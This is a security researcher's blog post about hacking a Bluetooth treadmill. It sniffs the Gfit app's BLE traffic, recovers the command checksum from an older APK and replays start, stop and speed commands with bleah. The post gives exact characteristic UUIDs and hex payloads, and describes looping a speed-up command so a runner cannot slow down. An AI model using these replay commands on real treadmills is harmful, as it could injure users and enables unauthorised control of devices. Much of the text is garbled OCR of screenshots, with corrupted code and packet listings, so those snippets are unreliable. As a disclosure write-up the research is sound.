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written by Mert SARICA | 1 June 2022

Starting in 2020, due to the increasing impact of the Covid-19 pandemic in
our country, I began doing sports with my sports coach through WhatsApp
instead of going to the gym. Over time, my coach directed me to purchase
various sports equipment such as a pull-up bar, weight set, and bench, and
due to the ongoing pandemic, I had to expand to include a treadmill. Finally,
the Voit Active treadmill with Bluetooth function took its place among my
sports equipment.
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As a security researcher who has tried to hack various electronic devices
that I have purchased (such as “Don’t Just Say Printer!”, “It’s a Bird.. It’s
a Plane.. It’s Drone!“, “and you, CPCR-5057?“, “Spy Mouse”, “Escape from
Imprisonment”), it did not occur to me to apply disproportionate power to the
innocent treadmill. However, as the time I spent walking on the treadmill
increased, the QR code on the treadmill’s panel began to catch my attention.
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When I scanned the QR code with an app, I was directed to the address

http://www.artiwares.com/app/treadmill/spax/, and from there to the page of

the Gfit.INTL application on Google Play, which had many negative reviews and
was developed by an unknown Chinese company. Since the treadmill supports
Bluetooth, I decided to install the app, examine what commands could be sent,
and identify potential malicious use scenarios.


http://www.artiwares.com/app/treadmill/spax/
https://play.google.com/store/apps/details?id=com.artiwares.treadmill.international
http://www.gfitgo.com/
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During this research, I was aware that I would not be able to benefit from
emulator-based dynamic analysis and various resources, as my favorite tool,
the Genymotion emulator, does not support Apple M1 processors with mac0S, as
I mentioned in my article “Hooking on Android”

After installing the Gfit application on my phone and pairing it with my
RunnerT treadmill, which has Bluetooth name, I saw that I could easily
perform the basic functions of the treadmill, such as starting, increasing
speed, decreasing speed, and stopping, through the app.
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To learn about the commands sent to the treadmill by the app, I had to choose
static code analysis or use the phone on which the app was installed. Since
static code analysis seemed more practical, I started to examine the Gfit app
with the jadx tool.
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Ty
% g,flt intl_5.9.6.apk < ® com.artiwares.ble.treadmill.TreadmillBleControllerl © com.artiwares.ble.treadmill.TreadmillBleControllertolder »
(# Source code
f## android. support
# androidx 279 this.f.a(RunDataUtil.a(bArr));
}
X

i anet.channel
f anetwork. channel

& butterknife 288 private void g(byte[] bArr) {
£ com 289 if (bArr != null & bArr.length >= 12 & (bArr[11] & 255) == @) {
# alibaba.sdk.android 302 TreadmillDataInfo a = RunDataUtil.a(bArr);
# android.volley 304 if (this.c && a.speed == @) {
3 artiwares 306 this.c = false;
& ble 307 d(2e0L);
£ base } ¥
#1 chituBand }
#3 chituHeartRateBand
2 constant 317 private void f(long j) {
f## heartRateMonitor 318 this.e.a(a(7, 0, 0), j);
1 miBand 1
i scan . . .
 treadmill 321 private void b(l."t i2) {
® TreadmillBleBaseController 222 N this.e.alcl2));
] readni Ui eControler]
© TreadmillBleController2 333 private byte[] c(int i2) {
® TreadmillBleControllerHolder 334 return a(3, iz, 0);

© TreadmillBleControllerHw
® TreadmillBleHelper

® TreadmillBleService 337 private bytel] d(int_ i2) {
i utils 338 return a(4, 0, i2);
© AESTool }
(] BleLog 341 private byte[] a(int i2, int i3, int i4) {
© BleUtils 342 byte[] bArr = new byte[7];
© HexUtil 342 bArr[0] = (byte) (i2 & 255);

® RunDataUtil 342 bArr(1] (byte) (i3 & 255);

® RunDataUtil2 342 bArr([2] = (byte) (i4 & 255);
i |
gxlaohelﬂand 348 bArr[5] = (byte) (((bArr[0] + bArr[1]) ~ bArrl[2]) + bArr[3] + 37);
AppHandler 352 bArr(6] = (byte) ((bArr(1] ~ bArr(0]) + bArr(2] + bArr(3] + 2);
© BleCallback 352 return bArr;
® BleServiceHandler }
® ConnectCallback s

© TimeoutCallback

# treadmill S

Since the code is hidden (obfuscated) throughout the app and I had no chance
of doing dynamic code analysis on the emulator under the current conditions,
I immediately gave up and saw what I could do with the phone.

I began to follow the steps in response to a message from someone
experiencing a problem with Bluetooth packet sources on Samsung’s support

page.

When I reached step 6, I sent start, increase speed, decrease speed, and stop
commands to the treadmill through the Gfit application, and then moved on to
the other steps and began analyzing the btsnoop hci.log file with Wireshark.
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When I looked at the first command that reached the treadmill using the
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filter btle.advertising address == 62:00:al1:18:b5:22 on WireShark, I saw the

value 01000000002603, which is the command to start the treadmill.

£ btsnoop_hci.log

E Qqam

N | btleadvertising_address == 62:00:

No. | Time | Source | Destination | Protoce| Lengtt| Info
536 2021-05-15 09:24:55.243771  SamsungE_ [(YH'I'H (RunnerT) ATT 14 Sent Find Information Request, Handles: @x0024..0x0024
539 2021-05-15 09 55.2587@03  SamsungE_ [¥H''H (RunnerT) ATT 14 Sent Find Information Request, Handles: @x0027..0xffff
543 2021-05-15 55.284989  SamsungE_ [(YH'l'H (RunnerT)  ATT 13 Sent Write Command, Handle: @x@021 (Unknown: Unknown)

545 2021-05-15 09 55.292749  SamsungE_| [YH'l'H (RunnerT) ATT 12 Sent Read Request, Handle: 0x0010 (Device Information: Model Num

548 2021-05-15 09 55.479359  SamsungE_| [YH'l"H (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)

549 2021-05-15 09 55.492848  SamsungE_| [yH'I'H (RunnerT) ATT 14 Sent Write Request, Handle: ©x@024 (Unknown: Unknown: Client Cha

555 2021-05-15 09 56.003030 SamsungE_} 62:00:] (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
563 2021-05-15 57.705575  SamsungE_ 62:00; (RunnerT) ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)
565 2021-05-15 124:58.004370  SamsungE_ [(YH'I'H (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
573 2021-05-15 59.503307  SamsungE_ [YH'I'H (RunnerT)  L2CAP 15 Sent Connection Parameter Update Response (Accepted)
635 2021-05-15 04.648886  SamsungE_ [YH'I'H (RunnerT) ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)
638 2021-05-15 04.851406 EELELT 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
667 2021-05-15 10.089234  SamsungE_ 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x@026 (Unknown: Unknown)
722 2021-05-15 23.184558 SamsungE_ 62:00: (RunnerT) ATT 19 Sent Write Command, Handle: @x0026 (Unknown: Unknown)
774 2021-05-15 34.969924  SamsungE_ 62:00: (RunnerT)  ATT 19 Sent Write Command, Handle: ©x@026 (Unknown: Unknown)

1595 2021-05-15 10:08:35.975987  SamsungE_ 62:00: (RunnerT) ATT 16 Sent Read By Group Type Request, GATT Primary Service Declaration, Han(

Frame 563: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)
> Bluetooth
> Bluetooth HCI H4
> Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

> Opcode: Write Command (@x52)

> Handle: 0x0026 (Unknown: Unknown)

Value: 01000000002603

0000 02 41 00 Oe @0 0a 00 04 00 52 26 00 01 00 00 00
0010 00 26 03

® E  Value (btattvalue),7 bytes Packets: 5805 - Displayed: 699 (12.0%) Profile: Default

Next, I sent the treadmill the commands Hold/Pause (05000000002a07), set

speed to 9 km/h (035a000000825b), set speed to 5.2 km/h (03340000005c39), and
Stop (02000000002704) and saw the other values in parentheses on WireShark.

First, I decided to find out if the treadmill was vulnerable to a replay
attack. To do this, I had to decide on the USB device and tool that would



send the Bluetooth packets that I had obtained for the BLE-supported
treadmill. For the USB device, the Parani-UD100 came to my aid, as I had used
it in my article titled “The Blue Threat”

It was time to find a tool to send packets, and I decided to proceed with
bleah among the gatttool, bleah, and nRF Connect tools.

On the Kali operating system, I quickly listed the Services and
Characteristics that I would need to send packets to the treadmill using the
Generic Attribute Protocol (GATT) with the bleah -b “62:00:xx:XxXx:xX:xx" -e

command.

N emOs| Ij ® setup.py - error: can't co... L qterminal w Downloads 0L06PM O @ 0

root@Kali: ~/Desktop/bleah-master/bleah

File Actions Edit View Help

, BR/EDR Not Supported

-0000-1000-8000-00805F9b34fb

: 0x0110

After seeing the WRITE feature in the e54eaa57-371b-476c¢c-99a3-74d267e3edae
characteristic information, I sent the bleah -b “62:00:xx:xx:xx:xx"” -u
“e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x01000000002603” command to the
treadmill using bleah and saw that the treadmill started!

At this point, after learning that the treadmill was vulnerable to replay
attacks, I decided to find out how these commands were constructed. Since the
source code was hidden using the obfuscation technique and I was unable to
perform dynamic code analysis, I downloaded and examined older versions of
the Gfit application, and soon found that the obfuscation technique was not

used in the 2017 version. When I compared the source code from 2020 and 2017
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side by side,

Gfit application to the treadmill were constructed.
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it was very easy for me to learn how the commands sent from the
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2 com.artiwares. treadnill_2017-08-29.apk
 Source code

& android
# butterknife
& cn.pedant. SweetAlert

& activeandroid
& alibaba.sdk.android
& anap.api.
& android
# artivares
& algorithm
@ library
i ble
{# XiaoheiBand
 base

i chituBand
5 chituHeartRateBand
i constant

# treadmill
@ TreadmillBleBaseController
@ TreadmillBleController
@ TreadmillBleController2
@ TreadmillBleControllertold
@ TreadmillBleService
©
@ utils
i weightScale
© AppHandler
@ BleCallback
@ BleServiceHandle
@ BuildConfig
@ ConnectCallback

R
@ TineoutCallback
£ umeng
& shareutil
& treadnill
& Presenter
& activity

When I quickly looked at the source
delayMillis) function was called to

called,

@ com.arti by ble. treadmill

 Source code
 android. support

¢ gfit-int15.9.6.apk ‘ 4 © con.artivares.ble. treadmill.Treadnill8leControllerl X

this.mBleControllerL istener.onReaddevice (data[1] & 255, datal2] & 255);

this.mBleControl lerListener. onReadTreadnillDeviceInfo();

private veid readTreadntULubricantsinfollong deletiilis) {
7, 0, 0), delayMillis);
}

private void writeSpeedCommandToTreadnill(int speed) {
‘this.mBlee lper.writeC )

}

privets veld writeSlopaTaTresdatlitdnt slope, long delamillis) {
+ delaymillis);
}

private bytel) getControlspeedComand(int speed) {
return getControlConmand(3, speed

private byte[] getControlSlopeCommand(int slope) {
return getControlConnand(4, 0, slope);

private bytel] getControlComand(int mode, int speed, int slope) {
bytel] cnd = 71

cnd(0] = (byte) (mode & 255);

cnd(1] = (byte) (speed & 255);

cnd(2] = (byte) (slope & 255);

d(3] = 0;

cndi4] = 0;

cnd(s] = (byte) (((cnd[0] + cnd[1]) ~ cnd[2]) + cmd[3] + 37);
cnd(6] = (byte) ((cnd(0) ~ cnd(1]) + cnd(2] + cad(3] + 2);
return cnd;

Smali

and finally, the getControlCommand(int mode,

© com.artiwar

& androidx 219
& anet. channel

& anetwork. channel b

this. f.a(RunDataUtil.a(bArr));

& butterknife 23| privats void g(oytel) b ¢
& com . 289 £ (oA & bATT. length >= 12 & (bArr(11] & 255) == 0) {
& alibaba. sdk.android 302 mmmnamnr mataUtila(BArr);
& android.volley 300 )
# artivares 306
@ ble -
& base 3
& chitugand N
 chituHeartRatesand
& constant 37| private v fllong ) ¢
# heartRateMonitor 318 this.e.a(a(7, 0, @), j);
# miBand
& scan

@ TreadnillBleBaseController

Y readniliBleControllerl

w this.e.a(c(12));
}

@ TreadnillBleController2 333|  private byte[] c(int i2) {
0);

© TreadnillBleControllertolder 334
@ TreadmillBleControllert
@ TreadmillBleHelper

© TreadmillBleService 337  private hy!ell dlint i2) {
@ utils 58 i2);
® AESTool
g:ﬁ:g\ 2| private bytel st 2, dat 13, dnt 10) ¢
eUtils 2 byte(] tel7];
© Hexutil 42 uz & 255);
@ Runbataltil 342 (13 & 255); @
© RunDataUtil2 302 (18 & 255);
i weightScale o

& xiaoheiBand

: 348 bArrF(5] = (byte) (((bAFF(0] + bAFF(1]) ~ bArr(2]) + bAF(3] + 37);
AppHandler 352 bArr(6] = (byte) ((bArr(1] ~ bArr(0]) + bArr(2] + bArr(3] + 2);
© BleCallback 352 return bArr;

© BleServiceHandler )

© ConnectCallback )

© TimeoutCallback
## treadmill

int speed,

Smali

code, the startTreadmill(long
start the treadmill, then the

mBleHelper.writeCommand(getControlCommand(1l, 0, 0), delayMillis) function was

int slope)

function was called, which creates the 7-byte packet to be sent to the

treadmill.

private byte[] getControlCommand(int mode,

byte[] cmd
cmd[0]

(byte)

new bytel[7];
(mode & 255);

int speed,

int slope) {



cmd[1]
cmd[2]
cmd[3] =
cmd[4] =
cmd[5] byte) (((cmd[0] + cmd[1]) ™~ cmd[2]) + cmd[3] + 37);
cmd[6] byte) ((cmd[0] ~ cmd[1]) + cmd[2] + cmd[3] + 2);
return cmd;

}

byte) (speed & 255);
byte) (slope & 255);

’

~=

(
(
0
0
(
(

I was able to create the output 01000000002603 by using the getControlCommand
function with the variables mode = 1, speed = 0, and slope = 0 using Python.
This way, I was able to generate all the commands from starting the treadmill
(getControlCommand(1l, 0, 0)) to increasing speed (getControlCommand(3, 5, 0))
using Python and send them to the treadmill using the Parani-UD100 and the

bleah tool without the Gfit application.
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L] gom.artlwares.treadm111_2017 08-29.apk (c] com.artiwares.library.ble.treadmill.TreadmillBleController
(# Source code
Ha.aa — —
# android 77 this.mBleHelper.addBleCallback(this.mBleCallback);
# butterknife 78 this.mBleControllerListener.onConnectionStateChange(this.mBleHelper.mState);
1 cn.pedant.SweetAlert
com
ke # activeandroid @Over_’rme_// com.artiwares.library.ble.treadmill.TreadmillBleBaseController
£ alibaba. sdk.android 81 public void onPause() {
& amap ap-i : 82 this.mBleHelper. removeBleCallback(this.mBleCallback);
i android
£ artiwares @verride // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
# algorithm 87 public void startTreadmill(long delayMillis) {
& library 88 this.mBleHelper.writeCommand(getControlCommand(1, 0, @), delayMillis);
2 ble
@ )glaOhEHsand @override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
gczs'iuBand 93 public void startTreadmill(int speed, int slope)
L }
£ chituHeartRateBand
# constant @override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
# scan 97 public void pauseTreadmill(long delayMillis) {
i 98 this.mBleHelper.writeCommand(getControlCommand(5, 0, @), delayMillis);
# treadmill
© TreadmillBleBaseController }
8Treadm:l.llBleController @override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
Treadel.llBleControllerZ 103 public void resumeTreadmill(long delayMillis) {
g TreadmillBleControllerHold 104 startTreadmill(delayMillis);
TreadmillBleService 3
[ TreadmillBluetoothHelper
# utils @verride // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
# weightScale 107 publi:.voidlstugTreadm%u(long ge'layMil'lis_)l { : ra——
© AppHandler 108 ) this.mBleHelper.writeCommand(getControlCommand(2, @, ©), delayMillis);
© BleCallback
<4 BlgServ1C§Handle @verride // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
® BuildConfig 111 public void writeSpeedToTreadmill(int speed) {
® ConnectCallback 112 writeSpeedCommandToTreadmill(speed);
®R
® TimeoutCallback . i X .
£ umeng @override // com.artiwares.library.ble.treadmill.TreadmillBleBaseController
A 115 public void writeSpeedToTreadmill(int speed, long delayMillis) {
& shareutil 11a +hic mR1aHalnar writaCammand(natCantralCnasdCammand (cnoad)  dalauMillic)
# treadmill
i Presenter B
# activity SIE
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writeCommand(final [1 value,

ubl delayMillis) {
appHandler postDelayed( v Runnable() {

lic run() {
TreadmillBluetoothHelper. tf writeCommand(value);

b
}, delayMillis);

@Override
pL c

startTreadmill( delayMillis) {

“t is.mBleHelper.writeCommand(getControlCommand(1, 0, 0), delayMillis);

}
@0verride
pL startTreadmill( speed, slope) {
b

i startTreadmillRunning() {
TreadmllIBIeCuntrollerHolder getInstance().startTreadmill(400);

AD A mEKNE RIe>EF 0 E

N | btatt.opcode == 0x52 N

| Time | Source | Destination
5149 2021-05-15 10:36:35.728692 SamsungE_ (Hack4Career) 62:00::
5156 2021-05-15 10:36:36.266114 SamsungE_ | | (Hack4Career) 62:00:i
5199 2021-05-15 10:36:46.629150 SamsungE_‘ (Hack4Career) 62:
5235 2021-05-15 10:36:53.538284 SamsungE_

5237 2021-05-15 10:36:53.738156 SamsungE___ .-- (Hack4Career) 62 /]

> Frame 5199: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)

Bluetooth
Bluetooth HCI H4

> Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
v Opcode: Write Command (@x52)
@... .... = Authentication Signature: False
«1.. «u.. = Command: True
.01 0010 = Method: Write Request (@x12)
v Handle 0x0026 (Unknown: Unknown)

[Service UUID: e54eaa50371b476c99a374d267e3edae]
[UUID: e54eaa57371b476c99a374d267e3edae]
1 getcantrolCommand( mode, speed, slope) { Value: 01000000002603
\ [71;
) (mode & 255);
) (speed & 255);
) (slope & 255);

0000 02 41 00 Qe 00 0a 00 04 00 52 26 00 01 00 00 00
0010 00 26 03

) (((cmd[0] + cmd[1]) A cmd[2]) + cmd[3] + 37);
) ((cmd[0] A cmd[1]) + cmd[2] + cmd[3] + 2);

cmd[6] = (
e 1 cmd;

[ ] mertrix — Python — 80x24

[mertrix@Hack4Career ~ % python3

Python 3.9.2 (v3.9. a79785e3e, Feb 19 2021, 09:06:10)

[Clang 6.0 (clang-600.0.57)] on darwin

Type "help", "copyr: "credits" or "license" for mdiiainformation.

[>>> format(@x@1&255, "@2x") + format(@x@@&255, "@2x") + format(@x@0&255, "@2x") |
+ format(exe@, "@2x") + format(exee, "@2x") + format((((@x01+0x00)"0x00)+0x00+37
), "02x") + format((@x01"0x00)+0x00+0x00+2, "02x")

'01000000002603 '

S |

Address

= Output LY L Find in Files 2 Compare W  Histogram
Inserted: 424 [1A8h] bytes

Profile: Default

When I came to try out the malicious use scenarios that came to mind,

I tried to increase the speed of the treadmill, which is 14 km/h, to 20 km/h
(bleah -b “62:00:xx:xx:xx:xx"” -u “e54eaa57-371b-476c-99a3-74d267e3edae” -d
“Ox03c8000000f0cd”) and found that it could only be set to a maximum of 14
km/h. (good news)

In the second scenario, when I sent the command to stop the treadmill while
it was running at a speed of 14 KM per hour (bleah -b “62:00:xx:XxXx:xX:xx" -u
“e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x02000000002704”), I saw that the
treadmill slowed down to O KM in the time it took to reach its current speed
However,

(if it was running at 14 KM per hour, it stopped in 14 seconds).

when I sent the same packet twice in a row, it slowed down in 4-5 seconds and
I thought that such a sudden drop in speed while running at high speeds could
lead to an accident for the runner. (bad news)

Finally, when I sent a command to the treadmill to increase the speed of a
person walking or running at low speed to 14 KM per hour in an infinite loop,
as shown in the video below, I saw that the person tried to decrease the
speed in a panic but failed, and therefore the possibility of an accident
occurred. And when I think about a malicious person going to a gym that has
purchased and made these treadmills available for use and sending this
command to all the treadmills in order, I didn’t even want to imagine the

crisis that would occur. (bad news)



In conclusion, I highly recommend considering the risks before purchasing or
using this treadmill developed by an unknown Chinese company that cannot turn
off its Bluetooth function. Hope to see you in the following articles.



